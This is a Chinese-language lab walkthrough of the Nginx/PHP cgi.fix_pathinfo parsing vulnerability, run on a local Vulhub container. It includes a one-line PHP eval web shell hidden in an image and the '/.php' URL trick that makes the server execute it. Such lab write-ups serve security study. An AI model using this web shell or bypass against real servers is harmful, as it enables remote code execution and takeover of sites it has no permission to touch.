这个解析漏洞其实是PHP CGI的漏洞,在PHP的配置文件中有一个关键的选项cgi.fix_pathinfo默认是开启的,当URL中有不存在的文件,PHP就会向前递归解析。在一个文件/xx.jpg后面加上/.php会将 /xx.jpg/xx.php 解析为 php 文件
条件:
Nginx <=0.8.37
cgi.fix_pathinfo=1
Nginx的文件解析漏洞...和IIS7.0的解析漏洞同样的原理,因为 cgi.fix_pathinfo=1 造成的解析漏洞...
PS:同样使用 1.jpg/.php 方式进行绕过
1、进入以下Vulhub路径并开启容器
cd /nginx/nginx_parsing_vulnerability
docker-compose build
docker-compose up -d
docker ps -a
2、浏览器中访问网站
http://192.168.109.133/
3、制作图片马并进行上传,获得了上传文件地址
4、访问以下路径,利用Nginx解析漏洞
http://192.168.109.133/uploadfiles/a5d5e995f1a8882cb459eba2102805cd.jpg/.php
5、使用winhex工具往正常的图片中写入以下代码
<?php phpinfo();@eval($_POST['cmd']);?>
6、上传该图片并访问,利用解析漏洞执行其中的PHP代码
http://192.168.109.133/uploadfiles/95aa7de9aa2250b1de96bf878cc801be.jpg/.php